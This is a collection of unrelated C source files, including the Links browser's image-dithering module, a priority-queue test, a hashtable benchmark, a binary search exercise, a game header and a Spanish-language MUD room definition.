// printf("* %3d: %s %s\n", i, t[i].marque, t[i].modele);
i++;
}
comp_tel(i);
}
/////////////////////////////////////////////////////////
// ERREUR SAISIE
/////////////////////////////////////////////////////////
if(choix > 5) {
printf("\nChoix non valide\n");
}
}
while(choix != 0);
ECRIRE_DATA();
}
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* main.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: npineau <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/10/16 11:51:32 by npineau #+# #+# */
/* Updated: 2017/10/16 15:52:42 by npineau ### ########.fr */
/* */
/* ************************************************************************** */
#include <stdio.h>
#include "inc/pq.h"
#define TABSIZE 9
void unit(void *nada)
{
(void)nada;
}
int ord(int *l, int *r)
{
if (*l < *r)
{
return (-1);
}
else if (*l == *r)
{
return (0);
}
else
{
return (1);
}
}
void print_int_array(int *array, size_t capacity)
{
size_t i;
i = 0;
while (i < capacity)
{
printf("%d", array[i]);
i += 1;
if (i < capacity)
{
printf(", ");
}
}
printf("\n");
}
int main(void)
{
static int tab[TABSIZE] = {9, 3, 4, 2, 7, 5, 8, 1, 6};
int i;
t_pq pq;
i = 0;
pq = pq_new(sizeof(int), (t_pq_cmp)ord, unit);
while (i < TABSIZE)
{
pq_insert(&tab[i], &pq);
i += 1;
print_int_array(pq.elems, pq.used);
}
i = 0;
while (i < TABSIZE)
{
pq_pop(&pq, &tab[i]);
i += 1;
print_int_array(tab, i);
}
return (0);
}
|
C | /* dither.c
* Dithering
* (c) 2000-2002 Karel 'Clock' Kulhavy
* This file is a part of the Links program, released under GPL.
*/
#include "cfg.h"
#ifdef G
#include "links.h"
#include "bits.h"
#ifdef HAVE_ENDIAN_H
#include <endian.h>
#endif
#ifdef HAVE_MATH_H
#include <math.h>
#endif
/* The input of dithering function is 3 times 16-bit value. The value is
* proportional to light that will go out of the monitor. Only in this space it
* is possible to dither accurately because distributing the error means maintaining
* the photon count (blurring caused by human eye from big distance preservers photon
* count, just spreads the photons a little around)
* The 8-bit dithering functions are to be used only for dithering text.
*/
/* This source does dithering and rounding of images (in photon space) into
* struct bitmap. It also computes colors given r,g,b.
*/
/* No dither function destroys the passed bitmap */
/* All dither functions take format in booklike order without inter-line gaps.
* red, green, blue order. Input bytes=3*y*x. Takes x and y from bitmap.
*/
/* The input of dithering function is 3 times 8-bit value. The value is
* proportional to desired input into graphics driver (which is in fact
* proportional to monitor's input voltage for graphic drivers that do not
* pollute the picture with gamma correction)
*/
/* Dithering algorithm: Floyd-Steinberg error distribution. The used
* coefficients are depicted in the following table. The empty box denotes the
* originator pixel that generated the error.
*
* +----+----+
* | |7/16|
* +----+----+----+
* |3/16|5/16|1/16|
* +----+----+----+
*/
/* We assume here int holds at least 32 bits */
static int red_table[65536],green_table[65536],blue_table[65536];
/* If we want to represent some 16-bit from-screen-light, it would require certain display input
* value (0-255 red, 0-255 green, 0-255 blue), possibly not a whole number. [red|green|blue]_table
* translares 16-bit light to the nearest index (that should be fed into the
* display). Nearest is meant in realm of numbers that are proportional to
* display input. The table also says what will be the real value this rounded
* display input yields. index is in
* bits 16-31, real light value is in bits 0-15. real light value is 0 (no
* photons) to 65535 (maximum photon flux). This is subtracted from wanted
* value and error remains which is the distributed into some neighboring
* pixels.
*
* Index memory organization
* -------------------------
* 1 byte per pixel: obvious. The output byte is OR of all three LSB's from red_table,
* green_table, blue_table
* 2 bytes per pixel: cast all three values to unsigned short, OR them together
* and dump the short into the memory
* 3 and 4 bytes per pixel: LSB's contain the red, green, and blue bytes.
*/
/* These tables allow the most precise dithering possible:
* a) Rouding is performed always to perceptually nearest value, not to
* nearest light flux
* b) error addition is performed in photon space to maintain fiedlity
* c) photon space addition from b) is performed with 16 bits thus not
* degrading 24-bit images
*/
/* We assume here unsigned short holds at least 16 bits */
static unsigned short round_red_table[256];
static unsigned short round_green_table[256];
static unsigned short round_blue_table[256];
/* Transforms sRGB red, green, blue (0-255) to light of nearest voltage to
* voltage appropriate to given sRGB coordinate.
*/
void (*round_fn)(unsigned short *in, struct bitmap *out);
/* When you finish the stuff with dither_start, dither_restart, just do "if (dregs) mem_free(dregs);" */
void (*dither_fn_internal)(unsigned short *in, struct bitmap *out, int * dregs);
/* prototypes */
static void dither_1byte(unsigned short *, struct bitmap *, int *); /* DITHER_TEMPLATE */
static void round_1byte(unsigned short *, struct bitmap *); /* ROUND_TEMPLATE */
static void dither_2byte(unsigned short *, struct bitmap *, int *); /* DITHER_TEMPLATE */
static void round_2byte(unsigned short *, struct bitmap *); /* ROUND_TEMPLATE */
static void dither_195(unsigned short *, struct bitmap *, int *); /* DITHER_TEMPLATE */
static void round_195(unsigned short *, struct bitmap *); /* ROUND_TEMPLATE */
static void dither_451(unsigned short *, struct bitmap *, int *); /* DITHER_TEMPLATE */
static void round_451(unsigned short *, struct bitmap *); /* ROUND_TEMPLATE */
static void dither_196(unsigned short *, struct bitmap *, int *); /* DITHER_TEMPLATE */
static void round_196(unsigned short *, struct bitmap *); /* ROUND_TEMPLATE */
static void dither_452(unsigned short *, struct bitmap *, int *); /* DITHER_TEMPLATE */
static void round_452(unsigned short *, struct bitmap *); /* ROUND_TEMPLATE */
static void dither_708(unsigned short *, struct bitmap *, int *); /* DITHER_TEMPLATE */
static void round_708(unsigned short *, struct bitmap *); /* ROUND_TEMPLATE */
static long color_332(int);
static long color_121(int);
static long color_pass_rgb(int);
static long color_888_bgr(int);
/*static void pass_bgr(unsigned short *, struct bitmap *);*/
static long color_8888_bgr0(int);
static long color_8888_0bgr(int);
static long color_8888_0rgb(int);
/*static void pass_0bgr(unsigned short *, struct bitmap *);*/
static long color_555be(int);
static long color_555(int);
static long color_565be(int);
static long color_565(int);
/*static void make_8_table(int *, double);*/
static void make_16_table(int *, int, int, double , int, int);
static void make_red_table(int, int, int, int);
static void make_green_table(int, int, int, int);
static void make_blue_table(int, int, int, int);
static void make_round_tables(void);
int slow_fpu = -1;
#define LIN \
r+=(int)(in[0]);\
g+=(int)(in[1]);\
b+=(int)(in[2]);\
in+=3;
/* EMPIRE IMAGINE FEAR */
#define LTABLES \
{\
int rc=r,gc=g,bc=b;\
if ((unsigned)rc>65535) rc=rc<0?0:65535;\
if ((unsigned)gc>65535) gc=gc<0?0:65535;\
if ((unsigned)bc>65535) bc=bc<0?0:65535;\
rt=red_table[rc];\
gt=green_table[gc];\
bt=blue_table[bc];\
}\
SAVE_CODE\
rt=r-(rt&65535);\
gt=g-(gt&65535);\
bt=b-(bt&65535);\
#define BODY \
LIN\
LTABLES\
r=bptr[3];\
g=bptr[4];\
b=bptr[5];\
r+=rt;\
g+=gt;\
b+=bt;\
rt+=8;\
gt+=8;\
bt+=8;\
rt>>=4;\
gt>>=4;\
bt>>=4;\
r-=9*rt;\
g-=9*gt;\
b-=9*bt;\
bptr[3]=rt;\
bptr[4]=gt;\
bptr[5]=bt;
#define BODYR \
LIN\
LTABLES\
rt+=8;\
gt+=8;\
bt+=8;\
rt>>=4;\
gt>>=4;\
bt>>=4;\
bptr[-3]+=3*rt;\
bptr[-2]+=3*gt;\
bptr[-1]+=3*bt;\
*bptr+=5*rt;\
bptr[1]+=5*gt;\
bptr[2]+=5*bt;
#define BODYC \
LIN\
LTABLES\
r=rt;\
g=gt;\
b=bt;
#define BODYL \
bptr=dregs;\
r=bptr[0];\
g=bptr[1];\
b=bptr[2];\
BODY\
bptr[0]=5*rt;\
bptr[1]=5*gt;\
bptr[2]=5*bt;\
bptr+=3;
#define BODYI \
BODY\
bptr[0]+=5*rt;\
bptr[1]+=5*gt;\
bptr[2]+=5*bt;\
bptr[-3]+=3*rt;\
bptr[-2]+=3*gt;\
bptr[-1]+=3*bt;\
bptr+=3;
#define DITHER_TEMPLATE(template_name) \
static void template_name(unsigned short *in, struct bitmap *out, int *dregs)\
{\
int r,g,b,o,rt,gt,bt,y,x;\
unsigned char *outp=out->data;\
int *bptr;\
int skip=out->skip-SKIP_CODE;\
\
o=0;o=o; /*warning go away */\
switch(out->x){\
\
case 0:\
return;\
\
case 1:\
r=g=b=0;\
for (y=out->y;y;y--){\
BODYC\
outp+=skip;\
}\
break;\
\
default:\
for (y=out->y;y;y--){\
BODYL\
for (x=out->x-2;x;x--){\
BODYI\
}\
BODYR\
outp+=skip;\
}\
break;\
}\
}
#define ROUND_TEMPLATE(template_name)\
static void template_name(unsigned short *in, struct bitmap *out)\
{\
int rt,gt,bt,o,x,y;\
unsigned char *outp=out->data;\
int skip=out->skip-SKIP_CODE;\
\
o=0;o=o; /*warning go away */\
for (y=out->y;y;y--){\
for (x=out->x;x;x--){\
rt=red_table[in[0]];\
gt=green_table[in[1]];\
bt=blue_table[in[2]];\
in+=3;\
SAVE_CODE\
}\
outp+=skip;\
}\
}
/* Expression determining line length in bytes */
#define SKIP_CODE out->x
/* Code with input in rt, gt, bt (values from red_table, green_table, blue_table)
* that saves appropriate code on *outp (unsigned char *outp). We can use int o;
* as a scratchpad.
*/
#define SAVE_CODE \
o=rt|gt|bt;\
*outp++=(o>>16);
DITHER_TEMPLATE(dither_1byte)
ROUND_TEMPLATE(round_1byte);
#undef SKIP_CODE
#undef SAVE_CODE
#define SKIP_CODE out->x*2
#if defined(t2c) && defined(C_LITTLE_ENDIAN)
#define SAVE_CODE \
o=rt|gt|bt;\
*(t2c *)outp=(o>>16);\
outp+=2;
#else
#define SAVE_CODE \
o=rt|gt|bt;\
o>>=16;\
*(unsigned char *)outp=o;\
((unsigned char *)outp)[1]=o>>8;\
outp+=2;
#endif /* #ifdef t2c */
DITHER_TEMPLATE(dither_2byte)
ROUND_TEMPLATE(round_2byte)
#undef SAVE_CODE
#undef SKIP_CODE
/* B G R */
#define SKIP_CODE out->x*3;
#define SAVE_CODE outp[0]=bt>>16;\
outp[1]=gt>>16;\
outp[2]=rt>>16;\
outp+=3;
DITHER_TEMPLATE(dither_195)
ROUND_TEMPLATE(round_195)
#undef SAVE_CODE
#undef SKIP_CODE
/* R G B */
#define SKIP_CODE out->x*3;
#define SAVE_CODE *outp=rt>>16;\
outp[1]=gt>>16;\
outp[2]=bt>>16;\
outp+=3;
DITHER_TEMPLATE(dither_451)
ROUND_TEMPLATE(round_451)
#undef SAVE_CODE
#undef SKIP_CODE
/* B G R 0 */
#define SKIP_CODE out->x*4;
#define SAVE_CODE *outp=bt>>16;\
outp[1]=gt>>16;\
outp[2]=rt>>16;\
outp[3]=0;\
outp+=4;
DITHER_TEMPLATE(dither_196)
ROUND_TEMPLATE(round_196)
#undef SAVE_CODE
#undef SKIP_CODE
/* 0 B G R */
#define SKIP_CODE out->x*4;
#define SAVE_CODE *outp=0;\
outp[1]=bt>>16;\
outp[2]=gt>>16;\
outp[3]=rt>>16;\
outp+=4;
DITHER_TEMPLATE(dither_452)
ROUND_TEMPLATE(round_452)
#undef SAVE_CODE
#undef SKIP_CODE
/* 0 R G B */
#define SKIP_CODE out->x*4;
#define SAVE_CODE *outp=0;\
outp[1]=rt>>16;\
outp[2]=gt>>16;\
outp[3]=bt>>16;\
outp+=4;
DITHER_TEMPLATE(dither_708)
ROUND_TEMPLATE(round_708)
#undef SAVE_CODE
#undef SKIP_CODE
/* For 256-color cube */
static long color_332(int rgb)
{
int r,g,b;
long ret;
r=(rgb>>16)&255;
g=(rgb>>8)&255;
b=rgb&255;
r=(r*7+127)/255;
g=(g*7+127)/255;
b=(b*3+127)/255;
*(char *)&ret=(r<<5)|(g<<2)|b;
return ret;
}
static long color_121(int rgb)
{
int r,g,b;
long ret;
r=(rgb>>16)&255;
g=(rgb>>8)&255;
b=rgb&255;
r=(r+127)/255;
g=(3*g+127)/255;
b=(b+127)/255;
*(char *)&ret=(r<<3)|(g<<1)|b;
return ret;
}
static long color_pass_rgb(int rgb)
{
long ret;
*(char *)&ret=rgb>>16;
((char *)&ret)[1]=rgb>>8;
((char *)&ret)[2]=rgb;
return ret;
}
static long color_888_bgr(int rgb)
{
long ret;
((char *)&ret)[0]=rgb;
((char *)&ret)[1]=rgb>>8;
((char *)&ret)[2]=rgb>>16;
return ret;
}
#if 0
/* Long live the Manchester Modulation! */
static void pass_bgr(unsigned short *in, struct bitmap *out)
{
int skip=out->skip-3*out->x,y,x;
unsigned char *outp=out->data;
for (y=out->y;y;y--){
for (x=out->x;x;x--){
outp[0]=in[2];
outp[1]=in[1];
outp[2]=in[0];
outp+=3;
in+=3;
}
outp+=skip;
}
}
#endif
static long color_8888_bgr0(int rgb)
{
long ret;
((char *)&ret)[0]=rgb;
((char *)&ret)[1]=rgb>>8;
((char *)&ret)[2]=rgb>>16;
((char *)&ret)[3]=0;
return ret;
}
/* Long live the sigma-delta modulator! */
static long color_8888_0bgr(int rgb)
{
long ret;
/* Atmospheric lightwave communication rulez */
((char *)&ret)[0]=0;
((char *)&ret)[1]=rgb;
((char *)&ret)[2]=rgb>>8;
((char *)&ret)[3]=rgb>>16;
return ret;
}
/* Long live His Holiness The 14. Dalai Lama Taendzin Gjamccho! */
/* The above line will probably cause a ban of this browser in China under
* the capital punishment ;-) */
static long color_8888_0rgb(int rgb)
{
long ret;
/* Chokpori Dharamsala Lhasa Laddakh */
((char *)&ret)[0]=0;
((char *)&ret)[1]=rgb>>16;
((char *)&ret)[2]=rgb>>8;
((char *)&ret)[3]=rgb;
return ret;
}
#if 0
/* We assume unsgned short holds at least 16 bits. */
static void pass_0bgr(unsigned short *in, struct bitmap *out)
{
int skip=out->skip-4*out->x,y,x;
unsigned char *outp=out->data;
for (y=out->y;y;y--){
for (x=out->x;x;x--){
outp[0]=0;
outp[1]=in[2]>>8;
outp[2]=in[1]>>8;
outp[3]=in[0]>>8;
outp+=4;
in+=3;
}
outp+=skip;
}
}
#endif
/* We assume long holds at least 32 bits */
static long color_555be(int rgb)
{
int r=(rgb>>16)&255;
int g=(rgb>>8)&255;
int b=(rgb)&255;
int i;
long ret;
r=(r*31+127)/255;
g=(g*31+127)/255;
b=(b*31+127)/255;
i=(r<<10)|(g<<5)|b;
((unsigned char *)&ret)[0]=i>>8;
((unsigned char *)&ret)[1]=i;
return ret;
}
/* We assume long holds at least 32 bits */
long color_555(int rgb)
{
int r=(rgb>>16)&255;
int g=(rgb>>8)&255;
int b=(rgb)&255;
int i;
long ret;
r=(r*31+127)/255;
g=(g*31+127)/255;
b=(b*31+127)/255;
i=(r<<10)|(g<<5)|b;
((unsigned char *)&ret)[0]=i;
((unsigned char *)&ret)[1]=i>>8;
return ret;
}
static long color_565be(int rgb)
{
int r,g,b;
long ret;
int i;
r=(rgb>>16)&255;
g=(rgb>>8)&255;
/* Long live the PIN photodiode */
b=rgb&255;
r=(r*31+127)/255;
g=(g*63+127)/255;
b=(b*31+127)/255;
i = (r<<11)|(g<<5)|b;
((unsigned char *)&ret)[0]=i>>8;
((unsigned char *)&ret)[1]=i;
return ret;
}
long color_565(int rgb)
{
int r,g,b;
long ret;
int i;
r=(rgb>>16)&255;
g=(rgb>>8)&255;
/* Long live the PIN photodiode */
b=rgb&255;
r=(r*31+127)/255;
g=(g*63+127)/255;
b=(b*31+127)/255;
i=(r<<11)|(g<<5)|b;
((unsigned char *)&ret)[0]=i;
((unsigned char *)&ret)[1]=i>>8;
return ret;
}
/* rgb = r*65536+g*256+b */
/* The selected color_fn returns a long.
* When we have for example 2 bytes per pixel, we make them in the memory,
* then copy them to the beginning of the memory occupied by the long
* variable, and return that long variable.
*/
long (*get_color_fn(int depth))(int rgb)
{
switch(depth)
{
case 33:
return color_121;
break;
case 65:
return color_332;
break;
case 122:
return color_555;
break;
case 378:
return color_555be;
break;
case 130:
return color_565;
break;
case 386:
return color_565be;
break;
case 451:
return color_pass_rgb;
break;
case 195:
return color_888_bgr;
break;
case 452:
return color_8888_0bgr;
break;
case 196:
return color_8888_bgr0;
break;
case 708:
return color_8888_0rgb;
break;
default:
return NULL;
break;
}
}
#if 0
static void make_8_table(int *table, double gamma)
{
int i,light0;
double light;
for (i=0;i<256;i++){
light=pow((double)i/255,gamma);
/* Long live the Nipkow Disk */
light0=65535*light;
if (light0<0) light0=0;
if (light0>65535) light0=65535;
table[i]=light0;
}
}
#endif
/* Gamma says that light=electricity raised to gamma */
/* dump_t2c means memory organization defined in comment for
* red_table on the top of dither.c */
/* dump_t2c is taken into account only if t2c is defined. */
static void make_16_table(int *table, int bits, int pos,double gamma, int dump_t2c,
int bigendian)
{
int j,light_val,grades=(1<<bits)-1,grade;
double voltage;
double rev_gamma=1/gamma;
const double t=((double)1)/65535;
int last_grade, last_content;
ttime start_time = get_time();
int sample_state = 0;
int x_slow_fpu = slow_fpu;
if (gamma_bits != 2) x_slow_fpu = !gamma_bits;
repeat_loop:
last_grade=-1;
last_content=0;
for (j=0;j<65536;j++){
if (x_slow_fpu) {
if (x_slow_fpu == 1) {
if (j & 255) {
table[j] = last_content;
continue;
}
} else {
if (!(j & (j - 1))) {
ttime now = get_time();
if (!sample_state) {
if (now != start_time) start_time = now, sample_state = 1;
} else {
if (now - start_time > SLOW_FPU_DETECT_THRESHOLD && (now - start_time) * 65536 / j > SLOW_FPU_MAX_STARTUP / 3) {
x_slow_fpu = 1;
goto repeat_loop;
}
}
}
}
}
voltage=pow(j*t,rev_gamma);
/* Determine which monitor input voltage is equivalent
* to said photon flux level
*/
grade=voltage*grades+.5;
if (grade==last_grade){
table[j]=last_content;
continue;
}
last_grade=grade;
voltage=(double)grade/grades;
/* Find nearest voltage to this voltage. Finding nearest voltage, not
* nearest photon flux ensures the dithered pixels will be perceived to be
* near. The voltage input into the monitor was intentionally chosen by
* generations of television engineers to roughly comply with eye's
* response, thus minimizing and unifying noise impact on transmitted
* signal. This is only marginal enhancement however it sounds
* kool ;-) (and is kool)
*/
light_val=pow(voltage,gamma)*65535+0.5;
/* Find out what photon flux this index represents */
if (light_val<0) light_val=0;
if (light_val>65535) light_val=65535;
/* Clip photon flux for safety */
#ifdef t2c_xxx
/* This branch is broken, but it was never tried */
if (dump_t2c){
t2c sh;
int val=grade<<pos;
if (bigendian) {
((unsigned char *)&sh)[0]=val;
((unsigned char *)&sh)[1]=val>>8;
}else{
((unsigned char *)&sh)[1]=val;
((unsigned char *)&sh)[0]=val>>8;
}
last_content=light_val|(sh<<16U);
}else{
#endif /* #ifdef t2c */
if (bigendian) {
int val, val2;
val = grade<<pos;
val2 = (val>>8) | ((val&0xff)<<8);
last_content=light_val|(val2<<16U);
}else{
last_content=light_val|(grade<<(pos+16U));
}
#ifdef t2c_xxx
}
#endif /* #ifdef t2c */
table[j]=last_content;
/* Save index and photon flux. */
}
if (x_slow_fpu == -1) slow_fpu = 0; /* if loop passed once without
detecting slow fpu, always assume fast FPU */
if (gamma_bits == 2 && x_slow_fpu == 1) slow_fpu = 1;
}
static void make_red_table(int bits, int pos, int dump_t2c, int be)
{
make_16_table(red_table,bits,pos,display_red_gamma,dump_t2c, be);
}
static void make_green_table(int bits, int pos, int dump_t2c, int be)
{
make_16_table(green_table,bits,pos,display_green_gamma,dump_t2c, be);
}
static void make_blue_table(int bits, int pos,int dump_t2c, int be)
{
make_16_table(blue_table,bits,pos,display_blue_gamma, dump_t2c, be);
}
void dither(unsigned short *in, struct bitmap *out)
{
int *dregs;
if ((unsigned)out->x > MAXINT / 3 / sizeof(*dregs)) overalloc();
dregs=mem_calloc(out->x*3*sizeof(*dregs));
(*dither_fn_internal)(in, out, dregs);
mem_free(dregs);
}
/* For functions that do dithering.
* Returns allocated dregs. */
int *dither_start(unsigned short *in, struct bitmap *out)
{
int *dregs;
if ((unsigned)out->x > MAXINT / 3 / sizeof(*dregs)) overalloc();
dregs=mem_calloc(out->x*3*sizeof(*dregs));
(*dither_fn_internal)(in, out, dregs);
return dregs;
}
void dither_restart(unsigned short *in, struct bitmap *out, int *dregs)
{
(*dither_fn_internal)(in, out, dregs);
}
static void make_round_tables(void)
{
int a;
unsigned short v;
for (a=0;a<256;a++){
/* a is sRGB coordinate */
v=apply_gamma_single_8_to_16(a,user_gamma/sRGB_gamma);
round_red_table[a]=red_table[v];
round_green_table[a]=green_table[v];
round_blue_table[a]=blue_table[v];
}
}
/* Also makes up the dithering tables.
* You may call it twice - it doesn't leak any memory.
*/
void init_dither(int depth)
{
switch(depth){
case 33:
/* 4bpp, 1Bpp */
make_red_table(1,3,0,0);
make_green_table(2,1,0,0);
make_blue_table(1,0,0,0);
dither_fn_internal=dither_1byte;
round_fn=round_1byte;
break;
case 65:
/* 8 bpp, 1 Bpp */
make_red_table(3,5,0,0);
make_green_table(3,2,0,0);
make_blue_table(2,0,0,0);
dither_fn_internal=dither_1byte;
round_fn=round_1byte;
break;
case 122:
/* 15bpp, 2Bpp */
make_red_table(5,10,1,0);
make_green_table(5,5,1,0);
make_blue_table(5,0,1,0);
dither_fn_internal=dither_2byte;
round_fn=round_2byte;
break;
case 378:
/* 15bpp, 2Bpp, disordered (I have a mental disorder) */
make_red_table(5,10,1,1);
make_green_table(5,5,1,1);
make_blue_table(5,0,1,1);
dither_fn_internal=dither_2byte;
round_fn=round_2byte;
break;
case 130:
/* 16bpp, 2Bpp */
make_red_table(5,11,1,0);
make_green_table(6,5,1,0);
make_blue_table(5,0,1,0);
dither_fn_internal=dither_2byte;
round_fn=round_2byte;
break;
case 386:
/* 16bpp, 2Bpp, disordered */
make_red_table(5,11,1,1);
make_green_table(6,5,1,1);
make_blue_table(5,0,1,1);
dither_fn_internal=dither_2byte;
round_fn=round_2byte;
break;
case 451:
/* 24bpp, 3Bpp, misordered
* Even this is dithered!
* R G B
*/
make_red_table(8,0,0,0);
make_green_table(8,0,0,0);
make_blue_table(8,0,0,0);
dither_fn_internal=dither_451;
round_fn=round_451;
break;
case 195:
/* 24bpp, 3Bpp
* Even this is dithered!
* B G R
*/
make_red_table(8,0,0,0);
make_green_table(8,0,0,0);
make_blue_table(8,0,0,0);
dither_fn_internal=dither_195;
round_fn=round_195;
break;
case 452:
/* 24bpp, 4Bpp, misordered
* Even this is dithered!
* 0 B G R
*/
make_red_table(8,0,0,0);
make_green_table(8,0,0,0);
make_blue_table(8,0,0,0);
dither_fn_internal=dither_452;
round_fn=round_452;
break;
case 196:
/* 24bpp, 4Bpp
* Even this is dithered!
* B G R 0
*/
make_red_table(8,0,0,0);
make_green_table(8,0,0,0);
make_blue_table(8,0,0,0);
dither_fn_internal=dither_196;
round_fn=round_196;
break;
case 708:
/* 24bpp, 4Bpp
* Even this is dithered!
* 0 R G B
*/
make_red_table(8,0,0,0);
make_green_table(8,0,0,0);
make_blue_table(8,0,0,0);
dither_fn_internal=dither_708;
round_fn=round_708;
break;
default:
internal("Graphics driver returned unsupported \
pixel memory organisation %d",depth);
}
make_round_tables();
}
/* Input is in sRGB space (unrounded, i. e. directly from HTML)
* Output is linear 48-bit value (in photons) that has corresponding
* voltage nearest to the voltage that would be procduced ideally
* by the input value. */
void round_color_sRGB_to_48(unsigned short *red, unsigned short *green,
unsigned short *blue, int rgb)
{
*red=round_red_table[(rgb>>16)&255];
*green=round_green_table[(rgb>>8)&255];
*blue=round_blue_table[rgb&255];
}
#endif
|
C | #include <string.h>
#include "benchmark.h"
/* The implementation */
#include "tommyhashtbl.h"
/* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- */
#include "objs.c"
static tommy_hashtable * tommy_hashtable_alloc (unsigned n)
{
tommy_hashtable * ht = calloc (1, sizeof (* ht));
tommy_hashtable_init (ht, n);
return ht;
}
static void tommy_hashtable_free (tommy_hashtable * ht)
{
tommy_hashtable_done (ht);
free (ht);
}
/* The callback comparison function to look up for matching keys */
static int cmp_int (const void * key, const void * obj)
{
return * (unsigned *) key == ((obj_t *) obj) -> ukey;
}
/* The callback comparison function to look up for matching keys */
static int cmp_str (const void * key, const void * obj)
{
return ! strcmp (key, ((obj_t *) obj) -> skey);
}
/* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- */
int udb_int (int n, const unsigned * keys)
{
obj_t ** objs = setup_int_objs (n, keys);
tommy_hashtable * ht = tommy_hashtable_alloc (n);
unsigned i;
unsigned count;
for (i = 0; i < n; i ++)
{
if (tommy_hashtable_search (ht, cmp_int, objs [i], tommy_inthash_u64 (objs [i] -> ukey)))
tommy_hashtable_remove (ht, cmp_int, objs [i], tommy_inthash_u64 (objs [i] -> ukey));
else
tommy_hashtable_insert (ht, & objs [i] -> _reserved_, objs [i], tommy_inthash_u64 (objs [i] -> ukey));
}
count = tommy_hashtable_count (ht);
tommy_hashtable_free (ht);
teardown (n, objs);
return count;
}
int udb_str (int n, char * const * keys)
{
obj_t ** objs = setup_str_objs (n, keys);
tommy_hashtable * ht = tommy_hashtable_alloc (n);
unsigned i;
unsigned count;
for (i = 0; i < n; i ++)
{
if (tommy_hashtable_search (ht, cmp_str, objs [i], tommy_hash_u64 (0, objs [i] -> skey, strlen (objs [i] -> skey))))
tommy_hashtable_remove (ht, cmp_str, objs [i], tommy_hash_u64 (0, objs [i] -> skey, strlen (objs [i] -> skey)));
else
tommy_hashtable_insert (ht, & objs [i] -> _reserved_, objs [i], tommy_hash_u64 (0, objs [i] -> skey, strlen (objs [i] -> skey)));
}
count = tommy_hashtable_count (ht);
tommy_hashtable_free (ht);
teardown (n, objs);
return count;
}
int main (int argc, char * argv [])
{
return udb_benchmark (argc, argv, udb_int, udb_str);
}
|
C | # include <stdio.h>
int i = 0 ;
void val( ) ;
int main( )
{
printf ( "main's i = %d\n", i ) ;
i++ ;
val( ) ;
printf ( "main's i = %d\n", i ) ;
val( ) ;
return 0 ;
}
void val( );
|
C | #ifndef WORLD_H
#define WORLD_H
#include "space.h"
#include "object.h"
#include "player.h"
#include "npc.h"
#include "types.h"
#include "interface.h"
typedef struct _World World;
/***************************************************
* Function: world_Ini Fecha: 15-10-2016
* Autores: Segmentation Fault
*
* Initialization of the structure "World"
* Arguments: -
*
* Returns: World* without information
***************************************************/
World * World_Ini();
/***************************************************
* Function: world_Obliterate Fecha: 15-10-2016
* Autores: Segmentation Fault
*
* Free the structure "World"
* Arguments: World* o!=NULL
*
* Returns: -
***************************************************/
void World_Obliterate(World * w);
// Add a Space to the World
//Status add_Space(World * w);
// Add an Object to the World
//Status add_Object(World * w);
// Add the Player to the World
//Status add_Player(World * w);
// Set n spaces to the World
//Status set_N_Spaces(World * w, int n_spaces);
// Set the number of objects into the structure
//Status * set_N_Objects(World * w, int n_objects);
// Set the number of objects into the structure
//Status * set_Npcs(World * w, int n_npcs);
/***************************************************
* Function: world_Create Fecha: 15-10-2016
* Autores: Segmentation Fault
*
* Fill the structure World ("create" it) with the information of two given files
* This function will be public
* Arguments: char* spacefile, char objfile
*
* Returns: World* with its information
***************************************************/
World * World_create(Object** objects, Space ** spaces, Npc ** npcs, int * nob, int * nsp, int * nnpc);
Player * World_get_player(World * w);
Space * World_get_space(World * w, int s_id);
Object * World_get_object(World * w, int o_id);
Npc * World_get_npc(World * w, int npc_id);
Space ** World_get_spaceS(World * w);
Object ** World_get_objectS(World * w);
Npc ** World_get_npcS(World * w);
Intr * World_get_interface(World * w);
int World_get_numberObject(World * w);
int World_get_numberNpc(World * w);
int World_get_numberSpace(World * w);
int World_get_mission(World * w);
Status World_set_mission(World * w, int miss);
int World_get_phase(World * w);
Status World_set_phase(World * w, int phase);
Status World_actualize(World * w, int miss, int phase);
void Spaces_free(Space ** s, int n_spaces);
void Objects_free(Object ** o, int n_objects);
void Npcs_free(Npc ** n, int n_npcs);
void World_add_interface(World * w, Intr * intr);
#endif |
C | #include "Assert.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char myOp[3];
int val1 = 3;
int val2 = 3;
int result;
memset(myOp, '\0', 3);
strcpy(myOp,"==");
result = Assert(val1, val2, myOp);
memset(myOp, '\0', 3);
strcpy(myOp,">=");
result = Assert(val1, val2, myOp);
memset(myOp, '\0', 3);
strcpy(myOp,"<=");
result = Assert(val1, val2, myOp);
memset(myOp, '\0', 3);
strcpy(myOp,">");
result = Assert(val1, val2, myOp);
memset(myOp, '\0', 3);
strcpy(myOp,"<");
result = Assert(val1, val2, myOp);
return 0;
}
|
C | #include<stdio.h>
int main()
{
int x[100],n,m,lower,upper,mid,i,p,f;
printf("Enter the number of elements in the array ");
scanf("%d",&n);
printf("Enter %d elements in the array ",n);
for(i=0;i<n;i++)
scanf("%d",&x[i]);
printf("Enter the element to be searched ");
scanf("%d",&m);
lower=0;
upper=n-1;
while(lower<upper)
{
mid=(lower+upper)/2;
if(x[mid]==m)
{
f=1;
p=mid+1;
break;
}
else if(x[mid]<m)
lower=mid+1; // Moving to right sub-array
else
upper=mid-1; // Moving to left sub-array
}
if(f==1)
printf("Element found at position %d\n",p);
else
printf("Element not found\n");
return 0;
}
|
C | // 04-06-08 [Angor] Creacion
#include "./path.h"
inherit GORAT("room_base.c");
create () {
::create();
replace_program();
SetIntShort("el sendero al faro de Gorat");
SetIntLong(
"Las ltimas rampas de este sendero al faro que quedan al oeste para llegar "
"a la cima de esta colina son bastante ms empinadas que el resto del sendero "
"que desciende hasta Gorat. Un pequeo templo de piedras grises y tejado de "
"pizarra se halla construido al norte de aqu. La hierba crece alta en torno "
"a l y baila al son del viento de llega del golfo.\n");
AddDetail(({"templo","puerta","tejado","pizarra"}),
"El templo es una pequea construccin rectangular de bloques de piedra grises y "
"tejado de planchas irregulares de pizarra azulada. Parece slido y no tiene "
"ventanas. Enmarcando su puerta se hallan un par de troncos tallados con motivos "
"marinos.\n");
AddDetail(({"troncos","conchas","ocre"}),
"Tienen motivos marinos tallados en ellos. Estn pintados de un color ocre "
"brillante con lineas en negro y llevan conchas encastradas. Supones que lo "
"que representan tiene relacin con el culto del templo.\n");
AddExit("noreste", GORAT("calle_faro_2") );
